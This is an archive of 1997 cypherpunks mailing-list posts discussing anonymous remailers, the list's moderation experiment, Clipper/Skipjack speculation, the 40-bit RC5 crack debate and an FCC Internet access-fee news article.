opposing points of view.  Not perfect to be sure, but a good start.

> Dale Thorn writes:
> I wish for once and for all someone would delineate this "democracy"
> thing from a true, distributed democracy, where every individual is
> required to participate equally, and no narrow interests can co-opt
> the vote the way they do in the kind of "democracy" Declan mentions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@wazoo.com>
Date: Fri, 7 Feb 1997 08:39:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702071639.IAA26472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


At 05:40 PM 2/6/97 -0500, you wrote:

>

>c.musselman@internetmci.com (Charley Musselman) writes:

>> C'punks --

>>         When I told a friend about the alt.drugs.pot cultivation newsgroup

>> and suggested that he use an anonymous remailer to post to the group,

>> he laughed and said, "Who do you suppose runs the remailers?  ATF,

>> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does

>> anyone know the answer?  Specifically, how can we choose a trusted

>> remailer?

>

>The solution is not to choose a trusted remailer, but to choose a

>group of remailers and send your message through each one


	I run an anonymous remailer. I have a mixmaster type at mix@wazoo.com nd a

cypherpunk type at remailer@wazoo.com. Also, there is a WWW interface at

http://www.wazoo.com/~remailer.

	I know that my system doesn't keep any recorders except number of messages

that go through. I am a "secure remailer". Before I set up the remailer, I

did a lot of soul searching, knowing that somewhere along the road I could

help a "baby raper" or something else I find morally objectionable. I came to

the conclusion, and I still think it is the right conclusion, that the public

service offered by an anonymous remailer far outweighs the disadvantages of

potentially helping someone I personally find objectionable.

	Setting up a remailer, for someone that is already running a domain, is easy

enough to be almost trivial. With the explosion of domains the internet has

seen in the past couple of years, at least some of the remailers have to be

honest and not fronts for the DOJ, FBI, and whatever other alphabet

orginizations...

	Obviously, you are thinking that any FBI agent that wanted to could post

this exact message, and YOU ARE RIGHT!

	Take advantage of a string of remailers. Use proper encryption, so that none

of them know more than the next hop. Make sure you vary the order of

remailers you go through with each message. 

	Being cautious, you can be almost 100% certain your message is anonymous.


Chuck

Sys Admin...

Wazoo's Computers

======================================

PGP key for remailer@wazoo.com available from all public key servers of by

fingering: remailer@wazoo.com...help file available by sending mail to

remailer@wazoo.com with a subject of remailer-help

======================================

For those that missed or already deleted the list, here are some places to

find more about remailers:

http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/

http://www.stack.nl/~galactus/remailers/index-anon.html

http://www.cs.berkeley.edu/~raph/remailer-list.html 


-----BEGIN PGP SIGNATURE-----

Version: 4.5

Comment: Chuck Fender <<chuck@wazoo.com> Sys Admin for Wazoo's Computers


iQCVAgUBMvtCni/mzwsxwvO5AQGbjgP/d8YfoPxHnSG4Gu6G/3Vx7GcPFK6DBj4Z

FtdoNdQUgWFrMK270Ep6dz5wBIGiEJrPNpiMJQJl2mt4GRSP4RTT3zWy1T8ULclr

wFnywwjieMFxyz4JBBGbyBssNZM2OqUSJIyMFXWdmQyXTKNOXqxnW9oMOu82QqLD

TuHUSUaxrYU=

=rJFq

-----END PGP SIGNATURE-----



<color><param>0000,0000,8080</param>*****************************************

*   </color>       <bold><color><param>0000,0000,ffff</param>Wazoo's
Computers           
</color></bold><color><param>0000,0000,8080</param>*

*</color> Alamogordo's Internet Access Provider
<color><param>0000,0000,8080</param>*

*</color>           <color><param>ffff,0000,0000</param>(505) 434-5090   
          </color><color><param>0000,0000,8080</param>*

*****************************************</color>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 7 Feb 1997 11:28:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702071928.LAA29053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:

> My posting seem to be going into Limbo, being sent neither to the
> Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks
> Hell. At least this is how things now appear.

> I sent the message below to the list this morning (Thursday) at 8:43 a.m.
> PST. As of tonight, 12 hours later, I haven't seen it on either the
> Singapore Web site--last archived 30 minutes ago--or on the "Flames" list
> to which I have temporarily subscribed (to see what Sandy counts as a
> "flame").

Now that a few weeks have passed, I have decided that moderation delays
are the most annoying feature of the new experiment.  I am subscribed to 
the unedited list under another account, and its almost instantaneous
traffic is in great contrast to the time required for posts to trickle
through the Sandfort-Bot. 

> By the way, I noted that many of the messages which appeared at the
> Singapore Web archive site have dates much later than mine, including
> several dated at least 8-10 hours after my message. Likewise, some of the
> Flames messages are dated much later than my message.

Messages apparently do not get moderated in the order in which they 
are received.  Some messages take a very long time, as other later
messages pass them by and are posted to the list.  Again, I have no
explanation for this unusual behavior.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 7 Feb 1997 11:40:06 -0800 (PST)
To: Steve Schear <cryptography@c2.net
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702071940.LAA29192@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 PM 2/6/97 -0800, Steve Schear wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>At 06:51 PM 2/6/97 +0800, pclow wrote:
>>><You want Eudora 3.0 and PGPMail 4.5. [Despite PGP,Inc's best efforts,
>>>the
>>><brand new PGPMail has escaped from the United States and is now
>>>available
>>><worldwide.]
>
>Its too bad there isn't a Mac version contemplated.  They appear to think
>that existing PGP versions, paired with Eudora, are sufficient.

>From their FAQ:


        9.What is the status of the Macintosh product?

           ViaCrypt PGP 2.7.1 is available for the Macintosh today. We are
working on a new
           version for the Macintosh, adding new features and revising the
graphical user
           interface to make it easier to use. The revised Macintosh
version will follow the
           Windows release. 

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:15:18 -0800 (PST)
To: shamrock@netcom.com
Subject: Skipjack uses Elliptic curve? (was Re: Moderation [Tim,Sandy])
Message-ID: <199702071515.HAA24943@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> wrote:
> [...]. How many of you remember the anonymous message posted to this
> list revealing that Skipjack is an elliptic curve cipher? [One of the most
> respected names in cryptography confirmed this to me in private
> conversation. No, the person was not privy to the secret specs. The person
> didn't need to be. :-]

What aspect of Skipjack family is Elliptic curve?

Skipjack itself I thought was a symmetric key block cipher, with 80
bit keys and 64 bit block size.

The key escrow designs (clipper chip and family) included several
additions:

1. check sum to prevent LEAF (Law Enforcement Access Field) forgery
   (16 bits, which is not enough as Matt Blaze demonstrated)

2. government access copy of chip's serial number encrypted with LE
   family key in LEAF 

3. copy of session key encrypted with unit's escrow key in LEAF (the
   escrow key is the key that is stored in the government database
   indexed by chip serial number - the database which is split between
   the two escrow agents).

4. hardware random number key generation

5. undisclosed key exchange mechanism

6. are DSS signatures used?

Presumably the Elliptic curve is for key exchange?  Is there something
about the design which implies Ellitpic curve must be the key exchange
mechanism used?

Another possible area for public key, if they had it on chip, would be
to use public key encryption for the encryption of the serial number.
Otherwise, when the chip is reverse engineered the LE family key would
allow traffic analysis of all clipper traffic.  Public key would
prevent this.

(According to Ross Anderson's paper on tamper proof hardware, at least
one chip manufacturer has reverse engineered the clipper chip)

> If nobody cares about the leaks, why do we need to provide a forum for
> them? Besides, there are other fora that could be used. sci.crypt or
> Coderpunks are both good places to post "found" code.

It is true that sci.crypt and coderpunks do make alternative fora.
Somebody else pointed out that rc4.c was posted to sci.crypt first.  I
think they are correct, and in fact if I remember, it was forged as
from David Sterndark <david@sterndark.com> or some other play on David
Sternlight's email address.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:11:19 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Geiger and long, unreadable lines
Message-ID: <199702071511.HAA24796@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-unedited:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > [DH key gen questions] 
> >
> > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> > shouldn't hold, besides Sandy has a stated policy of killing the whole
> > thread, so I thought it amusing to continue your crypto relevance in
> > moving on to technical topics rather than political)
> 
> My advice is to stay clear of any cryptosystem that relies on factoring
> being hard. I'll send you pointers to some very interesting new work
> based on the zeta function in private e-mail when I dig it up (please
> remind me if/when I forget this promise). 

> I'm reluctant to say anything crypto-relevant on this defunct
> mailing list because last time I did, the moderator repeatedly cited
> it as evidence that his moderation works.

I agree, Sandy said something like "look see even Vulis has started
posting crypto relevance therefore moderation works" in one of his
defenses of the moderation experiment.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:13:01 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: offer of unmoderated list home (was Re: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net)
Message-ID: <199702071513.HAA24893@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Allen, that post had a garbled header, and some people may have missed
it, so I'll repost (your cc line was broken also, being in the subject
field, so I've added your cc line in):

: Allen Smith <EALLENSMITH@ocelot.Rutgers.EDU> forwards with permission
: Lance Cotrell's email:
:
: Lance Cottrell <loki@infonex.com> writes in email to Allen:
: >I would be happy to donate the resources to run Cypherpunks off our system.
: >We could set up the list provided we were given a list of subscribers. I
: >assume it would be unmoderated.
: >
: >	-Lance
: >
: >>	Hi. I don't know how much you've been keeping up with
: >>the discussion on cypherpunks, but there is a current proposal
: >>to distribute the list onto several different servers. I would
: >>be willing to pay for 100 subscribers to run on the cyberpass.net
: >>server, provided that somebody else (e.g., Igor Chudov) set up
: >>the system initially and was available for assistance later. Any
: >>problems on your end?
: >>	[...]
: >>	Thanks,
: >>	-Allen

I'd argue for waiting to see the outcome of the moderation experiment,
before rehoming the list.

The multiple host system proposed by Igor sounds like a good idea in
any event.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 07:11:06 -0800 (PST)
To: tcmay@got.net
Subject: Which list am I on?
Message-ID: <199702071511.HAA24782@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I thought I was on the cypherpunks edited list.  However, I appear to
have seen some of the messages that Tim says got lost.  Moreover, I
keep getting ASCII art messages flaming someone with the initials DLV
(though I haven't seen any more of the TCM flames [I haven't looked
too hard, either]).  My mail headers have:

>From cypherpunks-errors@toad.com  <date>
>Sender: owner-cypherpunks@toad.com

Now I'm really confused.  Which list am I on?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 7 Feb 1997 07:13:36 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071513.HAA24904@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	The alway-informed Prof. Froomkin <froomkin@law.miami.edu> asked:

>This would be the same Strassmann who stated in public at Harvard early in
>1995 that most remailers were run by intelligence agencies such as the
>KGB, then denied saying it when asked for substantiation?   And cut it
>from his paper?

	Don't know that one, but it seems feasible.  Strassmann had the
status to speak at Harvard; probably the K school.  (He's also an
interesting author, really worth a read; despite this recent balderdash.)
I kept a clip from an interview with him for years: after the bomb attack
on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor"
attack on the US was inevitable.  The only question, he said, was when. Not
if.

	(It was a usefully overheated hook for some article on compsec, but
I don't think I ever used it.  Reminded me too much of warnings that
someone was bound to someday taint the city water reservoir with LSD;-)

	As I recall, that piece also quoted him as saying that he knew of
an incident where some group had held a major banking institution ransom
with a threat to destroy their data files somehow.  He refused to identify
the institution or otherwise give any further details about the incident.
Came to mind a few months back, when Winn Schwartau was firing off (also
overheated) missives from Europe reporting, with scant detail, that several
UK or European banking institutions had paid off millions when subjected to
similar blackmail.

> {...} there is some debate about the extent to which in
>*intelligence gathering* as opposed to, say, trying to crack a banking
>protocol, one can reasonably count on a known plaintext.  And much debate
>about the processing costs of not having one, especially when one doesn't
>know what kind of document is being encrypted (e.g. is it ASCII plaintext?
>a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

	The latter is a interesting debate -- but, as you note, not really
relevant in this case, where Strassmann proclaims:

>>In summary: The claim of exportable cryptography being totally
>>insecure, because it can be cracked in 3.5 hours is not
>>realistic. The three clues announced in the contest
>>would not apply  under infowar conditions.

	Now, an international institution which buys and bets the bank upon
US-exportable (40-bit) cryptography probably deserves what it has bought:
espionage-enabled software designed for fast and cheap decryption by spooks
and sundry college kids with access to a handful of machines.  The original
annoucement of the RSA Secret Key Challenge declared forthrightly that even
56-bit keys -- whatever the algorithm! -- offer only "minimal" security.
(What Goldberg did in hours, many could do in a days or weeks with much
less equipment.  A 40-bit key length offers a universe of about, what? a
trillion possible keys.)

	And while there might be debate as to how hard it is to attack
cyphertext when the attacker doesn't know _anything_ about the message (not
its data format; not the language being used; nothing!) there is really
none about the fact that -- with virtually any piece of that puzzle -- the
attack becomes relatively straightforward.  A big job for a little machine,
but conceivable: grab a key, decrypt, and then match for the right stats.

	Rare indeed is the commercial message, or even the typical
government transmission, where its original digital format is not easily
guessed -- if not known for certain. That is the contemporary, real-world,
infowar/infocrime environment.

	To a machine -- which is, after all, looking for a statistical
pattern in the results, not "meaning" -- knowing that the message is in
English (and/or coded in ASCII) is functionally equivalent to an
old-fashioned human codebreaker being given a matched plaintext/cyphertext
sample.  Given that much, the computer doesn't need the plaintext!  It's
counterintuitive to the layman, but one would expect a savvy systems guy
like Strassmann to know this cold.  Even my son, at 4, understands that a
computer manipulates the fodder fed it only in terms of ones and zeros.

	Statistics, not the "plaintext" clue, reveal who dun it... to the
machine.

	Clue #3 -- "the giveaway."  Lord help us!  Paul Strassmann has
probably taught a generation of the DC InfoWar accolytes how to think about
this stuff!!!

	Hopefully their kids can re-educate them.

	Suerte,
		_Vin


         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 07:11:56 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List")
Message-ID: <199702071511.HAA24872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Adam" == Adam Back <aba@dcs.ex.ac.uk> writes:

Adam> Perhaps it is time to reconsider the benefits of
Adam> alt.cypherpunks.  (As an aside, it is ironic that John Gilmore
Adam> was the guy who started the alt.* USENET hierarchy, specifically
Adam> to facilitate freedom of speech).

This would have another benefit.  More sophisticated tools exist for
filtering usenet than for filtering email in a voluntarily cooperative
way.  For example, I use a fairly extensive .procmailrc file to filter
my email, and blow away stuff that's either spam or a post from
someone I consider a blathering idiot.  There are some other folks on
the list who likely do the same thing, and there are some whose
.procmailrc files I'd like to see, and likely include in my own.  But
there's no easy way to do that.

With alt.cypherpunks, anyone who wishes to "help kill noise" could
simply issue a NoCeM report, and those of us with reasonable
newsreaders would be able to "listen" to the reports from people with
whom we want to cooperate.  And we can ignore the rest.  

The beauty of this scheme is that the control of the list is in the
hands of the individual reader, without requiring huge amounts of
redundant effort.

It's also occurred to me that there can be folks who NoCeM the NoCeM
reports :-)

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5
1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq
LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB
goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja
5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X
0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw==
=2ckb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 08:39:27 -0800 (PST)
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702071639.IAA26440@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Jeff" == Jeff Barber <jeffb@issl.atl.hp.com> writes:

John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
John> month.  I'll admit I made it easy for them, but the results are
John> conclusive.  There are 1311 addresses in the cypherpunks list
John> today; 42 in the unedited list; and 19 in the flames list.

Jeff> "Conclusively" this has shown only that most folks are willing
Jeff> to go along with an experiment -- especially if it requires them
Jeff> to do exactly nothing.

This is precisely the category into which I fall.  It is a pain to
unsubscribe from a list, since my "From_" header doesn't agree with my
"From:" header (the former has a specific host included, the latter
only a zone), and this often triggers a message to the list owner for
processing.

In any case, I am willing to go along with the experiment.  But a
NoCeM-style approach to killing the noise is much more preferable.
Failing that, an individual filter (such as procmail) is good.  In any
event, the responsibility of what to post and what to read should be
in the hands of each reder individually.

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1
rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK
kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ
ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g
oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX
aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A==
=78/T
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 12:00:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702072000.MAA29592@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 07 Feb 1997 07:13:18 -0800
From: Dale Thorn <dthorn@gte.net>

:When I was in the Perot camp

Gotta be Dale!

A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense.

Pablum for the c'punk masses.

Ciao






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:12:54 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702071512.HAA24892@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things
> for years at conferences, in papers, on mailing lists, etc.

To get the definitive version I asked him what his relationship to DT
is (I got his email address from a sci.crypt posting), and this is
what he said:

: I am a consultant to Deloitte & Touche's information security
: practice.

So now we know.

Nice that he defended freedom to use cryptography anyway,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 07:11:14 -0800 (PST)
To: hugh@west.toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702071511.HAA24794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Could someone who is planning to go tomorrow's cpunks physical meeting
provide a short account of the interesting news to the list?

Thanks,

Adam

> What:   San Francisco Bay Area Cypherpunks monthly physical meeting
> 
> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
> 	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
> 	14:00	Break
> 	14:30   Announcements, late breaking news, etc.
> 	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
> 	16:00   Why bother killing the list?, Hugh Daniel
> 		Future Meeting Planing, IPSEC Update, etc.
> 	17:00	This hour left bank for future expansion...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Fri, 7 Feb 1997 08:39:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISPs vs Bells - Email FCC
Message-ID: <199702071639.IAA26471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Baby Bells want us to pay by the minute.  An opportunity to tell the FCC
what we think via email at isp@fcc.gov -- article follows.
*****************************************

By Michelle V. Rafter 

LOS ANGELES - Regional phone companies and Internet service providers
are waging a war of words over Internet traffic on the nation's local
telephone network and who should pay for upgrades as the online boom
continues. 

As a drama, the phone companies vs. Internet providers contest is dry,
complicated stuff, lacking the sex appeal of, say, the power struggle
between Netscape and Microsoft for control of the personal computer
desktop. 

Even so, analysts and other industry watchers counsel consumers and
businesses to take heed of the tug of war because it could affect how
much they pay to use the Internet, and ultimately, how they connect to
it. 

In one corner, Pacific Bell, Bell Atlantic and other regional phone
carriers say the growth of Internet traffic is pushing local telephone
networks to the breaking point. 

Pacific Bell, for example, says Internet surfers use its phone lines an
average of 45 minutes a day -- more than twice the amount the network
was built to handle. Heavy Internet use in Silicon Valley led to brief
service outages in that area earlier this year, the company said. 

Pacific Bell and other local phone companies say they've poured millions
of dollars into hardware improvements as a result of Internet traffic,
improvements they claim would otherwise have been unnecessary. 

To help defray costs, phone companies think providers should pay for
service on a per-minute basis, the way long-distance companies do,
rather than by the line, like other business phone customers. Internet
providers have been exempt from paying so-called access fees under a
1983 federal ruling meant to foster growth of compute data networks. 

On the other side, Internet service providers say phone companies have
it all wrong. A recent report sponsored by the Internet Access
Coalition, an industry lobby group, maintains computer traffic poses no
threat to local phone networks and that earlier phone-company studies
identifying trouble spots were based on theoretical claims and a few
areas with engineering and planning problems that could easily be
rectified. 

If Internet traffic was such a threat, phone companies wouldn't be
exacerbating the problem by jumping into the Internet access business
themselves, providers say. 

Rather than hurting phone companies, Internet traffic has been a
windfall, according to the coalition. In 1995, local phone companies
spent a total of $245 million adding 6 million residential phone lines
used primarily for Internet access, but reaped $1.4 billion in revenue
on those lines, the group said. 

If providers are required to pay access fees, they'll have no choice but
to raise their rates, which could stifle Internet growth just as it's
taking off, they say. 

Internet providers and phone companies are arguing their respective
positions in Washington, where the Federal Communications Commission is
considering the access-fee issue. 

As part of ongoing telecommunication industry reform, the FCC said in
late December it would cut access fees levied on long-distance carriers
and is investigating options for doing that. But the agency held off
making a decision affecting Internet use to allow time for parties with
an interest in the issue to present their cases. 

The FCC took the unusual step of setting up an e-mail address --
isp@fcc.gov -- consumers and others can use to send their thoughts.
Internet providers and phone companies have until Feb. 21 to submit
formal comments, and the agency is expected to make a ruling later this
year. 

Even if the FCC levies access fees on providers and companies raise
rates accordingly, it won't dampen consumers' love affair with the
Internet, some analysts said. 

If, for example, Internet providers passed through an access fee of 1
cent a minute, a subscriber spending 10 hours online a month would pay
an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
Forrester Research in Cambridge, Mass. 

"Cable TV rates have doubled in the last three or four years, we got
nothing more for it, but cable subscribership didn't go down because of
it," Goodtree said. 

On one point everyone agrees -- the nation's current analog telephone
network eventually will not be able to handle demand from Internet
users, and must be supplanted by a digital system better suited to
transmitting computer data. 

Both phone companies and Internet providers have begun working on
solutions. Phone carriers that have offered digital ISDN (integrated
services digital network) lines are stepping up their marketing efforts.
Phone companies and Internet providers are investigating a new
technology called digital subscriber line, or DSL, which routes Internet
phone traffic around analog phone-company switches into all-digital
networks. 

But inevitably, discussion of DSL and other new technologies circles
back to who'll pay for upgrades. Sky Dayton, president of Internet
provider Earthlink Networks in Pasadena, Calif., believes it is in phone
companies' best interests to spend on digital upgrades because of the
profit potential from selling them to companies such as his. 

But why should phone companies pick up all the costs when Internet
service providers will benefit, too, says Pacific Bell spokesman Bob
Deward. 

(Michelle V. Rafter writes about cyberspace and technology from Los
Angeles. Reach her at mvrafter@deltanet.com. Opinions expressed in this
column are her own.) 

Copyright, Reuters Ltd. All rights reserved





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702072011.MAA29726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Mike Duvos wrote:

> ...Messages apparently do not get moderated in the order in
> which they are received...

All messages are filtered and posted in the order in which I
receive them.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:39:55 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071939.LAA29180@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Strassmann served on the "Information Warefare - Defense"
Task Force sponsored by the Defense Science Board. He has a
Web site at: 

   http://www.strassmann.com

The IW-D report recounts most of the well-known info-war memes
to buttress its plea for more info-warfighting funds, and says that
business needs DoD protection.

It de-emphasizes the encryption debate, claiming that crypto is not 
an important part of the problem or the solution. Remailers are not 
mentioned.

Short and long versions of IW-D: 

   http://jya.com/iwd.htm

Winn Schwartau's infowar.com offers it too.

SAIC was generously represented on the Task Force: Strassmann,
Bellcore's head, a couple more. As well as others committed to "raising
the bar" against attack on Info-Maginot: 

   http://jya.com/iwdaff.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Fri, 7 Feb 1997 12:11:39 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Which list am I on?
Message-ID: <199702072011.MAA29727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Attila T. Hun wrote:

>     no way to tell what list your receiving from; the software Sandy 
>     and John installed to facilitate their un-American activities is 
>     hosed.  in most cases it fails to apply the correct sender name,
>     defaulting to the main, supposedly censored list.

That's why we call it a test.  I have no software.  Everything
I'm doing is manual.  Whatever John has done is probably jerry
rigged just for the test.  

If list members opt for moderation, more effort will be put into
the moderation infrastructure.  The idea right now is to see how
well a first aproximation of moderation works.  If it seems like
